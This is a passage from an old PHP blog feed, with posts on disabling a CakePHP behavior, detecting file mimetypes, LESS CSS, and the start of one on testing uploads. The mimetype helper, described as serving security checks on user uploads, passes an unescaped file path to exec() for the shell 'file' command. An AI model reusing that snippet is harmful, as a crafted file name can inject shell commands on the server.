&lt;p&gt;If, like me, you prefer writing less code, you&#39;d probably go with the &lt;code&gt;AppModel&lt;/code&gt;
approach. All you have to do is define a &lt;code&gt;setup()&lt;/code&gt; method in your Behavior and
check if it is applied to the right or wrong type of model. Fortunatly for us,
the &lt;code&gt;$model&lt;/code&gt; is passed as first argument.&lt;/p&gt;
&lt;p&gt;Once you&#39;ve identified the faulty models, you just have to disable the behavior
for them. The &lt;code&gt;BehaviorCollection&lt;/code&gt; that comes bundle into &lt;code&gt;$model-&amp;gt;Behaviors&lt;/code&gt;
has a nice couple of &lt;code&gt;enable&lt;/code&gt;/&lt;code&gt;disable&lt;/code&gt; methods. Unfortunatly, they won&#39;t work
from inside the &lt;code&gt;setup()&lt;/code&gt; method because the Behavior is not yet correctly
instanciated.&lt;/p&gt;
&lt;p&gt;What you can do, however, is to hack inside the &lt;code&gt;BehaviorCollection&lt;/code&gt; to update
the inner &lt;code&gt;_disabled&lt;/code&gt; key to add your own Behavior to the list.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; setup&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#F87171&quot;&gt;&amp;#x26;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$model&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$config&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; array&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;()&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;  [&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;...&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;  if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$faultyModel&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;    $model&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;Behaviors&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;-&gt;&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;_disabled&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[]&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt; &#39;MyBehavior&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;  }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is more than a bit hacky, I have to admit that. But it does the trick.
Enjoy.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>The all-in-one method to get mimetypes with PHP</title>
    <link href="https://blog.pixelastic.com/2010/08/05/the-all-in-one-method-to-get-mimetypes-with-php/"/>
    <updated>2010-08-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/05/the-all-in-one-method-to-get-mimetypes-with-php</id>
    <content type="html">&lt;p&gt;Getting the correct mimetype from a file in PHP is not an easy task. I used to
find it through extension sniffing of the file combined with a known list of
mimetypes.&lt;/p&gt;
&lt;p&gt;Today I needed to find the correct mimetype to do some security checks on file
uploaded by users. I couldn&#39;t rely on an extension-based approach because the
filename could easily be faked by an uploader.&lt;/p&gt;
&lt;p&gt;So I needed an other way. In fact, in PHP world there are at least 4 methods I&#39;m
aware of to get this information.&lt;/p&gt;
&lt;h2&gt;mime_content_type&lt;/h2&gt;
&lt;p&gt;The classic PHP function
[mime_content_type](http://fr2.php.net/manual/en/function.mime-content-
type.php) is supposed to return just that. Unfortunatly, it is deprecated. And
not supported by Dreamhost, my host.&lt;/p&gt;
&lt;h2&gt;The FileInfo functions&lt;/h2&gt;
&lt;p&gt;We are now encouraged to use the
&lt;a href=&quot;http://php.net/manual/en/ref.fileinfo.php&quot;&gt;Fileinfo functions&lt;/a&gt; instead of
&lt;code&gt;mime_content_type&lt;/code&gt;. Unfortunatly, they seems to be returning
&lt;a href=&quot;http://www.php.net/manual/en/ref.fileinfo.php#79063&quot;&gt;strange results&lt;/a&gt;.
Alternatively, they are not supported by Dreamhost either (but it seems that you
can ask them to install it on your server).&lt;/p&gt;
&lt;p&gt;It is bundled into EasyPHP for Windows, but you need to enable it by
uncommenting the line &lt;code&gt;extension=php_fileinfo.dll&lt;/code&gt; in your &lt;code&gt;php.ini&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;And you use it like this:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$finfo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; finfo_open&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;FILEINFO_MIME&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$mimeType&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; finfo_file&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$finfo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$filepath&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;finfo_close&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$finfo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also note that the mimetype may be returned in a &lt;code&gt;text/plain; charset=us- ascii&lt;/code&gt;
form. You may need to parse the result to get it in the format you need.&lt;/p&gt;
&lt;h2&gt;The getimagesize function&lt;/h2&gt;
&lt;p&gt;The &lt;a href=&quot;http://fr2.php.net/manual/en/function.getimagesize.php&quot;&gt;getimagesize&lt;/a&gt;
function can be called on any image file. It will return an array containing
image informations like &lt;code&gt;width&lt;/code&gt;, &lt;code&gt;height&lt;/code&gt; and of course the &lt;code&gt;mimetype&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Unfortunatly, it will cause a &lt;code&gt;E_WARNING&lt;/code&gt; if called on a non-image file. You
can&#39;t even catch that using a &lt;code&gt;try/catch&lt;/code&gt;. You can suppress the error using &lt;code&gt;@&lt;/code&gt;,
tho.&lt;/p&gt;
&lt;p&gt;Here&#39;s how I use it:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$imageData&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; @&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getimagesize&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$filepath&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$imageData&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;mime&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;  $mimeType&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $imageData&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;mime&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Calling the system file&lt;/h2&gt;
&lt;p&gt;The last method I&#39;m aware of is simply calling the &lt;code&gt;file&lt;/code&gt; command on a unix
system through &lt;code&gt;exec&lt;/code&gt;.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$mimeType&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; exec&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;/usr/bin/file -i -b &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$filepath&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Merging all that into one do-it-all method&lt;/p&gt;
&lt;p&gt;If you&#39;re not sure what your system is capable of or if you plan on distributing
your code, you&#39;d better test for all alternatives. Here&#39;s the code I&#39;m using:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;/**&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*    mimetype&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*    Returns a file mimetype. Note that it is a true mimetype fetch, using php and OS methods. It will NOT&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*    revert to a guessed mimetype based on the file extension if it can&#39;t find the type.&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;*    In that case, it will return false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;**/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;function&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; mimetype&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$filepath&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // Check only existing files&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;file_exists&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$filepath&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;||&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; !&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;is_readable&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$filepath&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // Trying finfo&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;function_exists&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;finfo_open&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $finfo&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; finfo_open&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;FILEINFO_MIME&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $mimeType&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; finfo_file&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$finfo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$filepath&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;   finfo_close&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$finfo&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt;   // Mimetype can come in text/plain; charset=us-ascii form&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;   if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;strpos&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$mimeType&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;list&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$mimeType&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,) &lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; explode&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$mimeType&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;   return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $mimeType&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // Trying mime_content_type&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;function_exists&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;mime_content_type&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;   return&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; mime_content_type&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$filepath&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // Trying exec&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;function_exists&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;exec&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;   $mimeType&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; exec&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;/usr/bin/file -i -b &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$filepath&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&quot;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;   if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$mimeType&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) &lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $mimeType&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6B7280&quot;&gt; // Trying to get mimetype from images&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $imageData&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; @&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getimagesize&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$filepath&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; if&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;empty&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$imageData&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;mime&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)) {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt;   return&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; $imageData&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;mime&#39;&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt; }&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#38A169&quot;&gt; return&lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt; false&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Hope that helps!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>One thing that may turn me to Ruby: LESS</title>
    <link href="https://blog.pixelastic.com/2010/08/05/one-thing-that-may-turn-me-to-ruby-less/"/>
    <updated>2010-08-05T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/05/one-thing-that-may-turn-me-to-ruby-less</id>
    <content type="html">&lt;p&gt;I often hear how Ruby is better than PHP, that cakePHP is only a port of the
Ruby on Rail framework and that the original is much more powerful.&lt;/p&gt;
&lt;p&gt;Well, I&#39;ve been tempted to try and learn Ruby for some quite time now. But I&#39;ve
been a little scared by the fact of having to learn a whole new language when
I&#39;m now getting pretty good with cake.&lt;/p&gt;
&lt;p&gt;That and the shortage of hosts with a support for Ruby out there keep me away
from it.&lt;/p&gt;
&lt;h2&gt;LESS, a Ruby only little gem&lt;/h2&gt;
&lt;p&gt;But one thing that may change my mind is &lt;a href=&quot;http://lesscss.org/&quot;&gt;LESS&lt;/a&gt;, the CSS as
it should have been written since day one. It allows, in an extremely simple
syntax, to define variables, functions, nested definitions, easier selectors.&lt;/p&gt;
&lt;p&gt;Unfortunatly, the parser only exists as a Ruby gem, too bad for my php apps.&lt;/p&gt;
&lt;h2&gt;Why I don&#39;t use the javascript version&lt;/h2&gt;
&lt;p&gt;There is [Javascript version](http://fadeyev.net/2010/06/19/lessjs-will-
obsolete-css/) of the parser, but I don&#39;t like the idea of having CSS rendering
based on script execution. It means that if I&#39;m browsing without scripts
enabled, I won&#39;t have any styling.&lt;/p&gt;
&lt;p&gt;Styling and Scripting are two very different things, one should work without the
other and &lt;em&gt;vice versa&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;So maybe, when the syntax will be parsed directly by browsers (one could
dream...), or if a PHP parser is released I&#39;ll try it right away, but until
them, I&#39;ll stick with my rusty CSS.&lt;/p&gt;
&lt;h2&gt;LESS in PHP?&lt;/h2&gt;
&lt;p&gt;&lt;em&gt;Well, some hours after posting this I just stumbled upon
&lt;a href=&quot;http://leafo.net/lessphp/&quot;&gt;that&lt;/a&gt;. I guess I&#39;ll try LESS in php world after all
!&lt;/em&gt;&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Testing file uploads in PHP</title>
    <link href="https://blog.pixelastic.com/2010/08/04/testing-file-uploads-in-php/"/>
    <updated>2010-08-04T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2010/08/04/testing-file-uploads-in-php</id>
    <content type="html">&lt;p&gt;I just had to write unit tests for a file upload script I had to write. As it is
not [that easy](http://stackoverflow.com/questions/3402765/how-can-i-write-
tests-for-file-upload-in-php/3410684#3410684) [to do](http://www.foonews.info
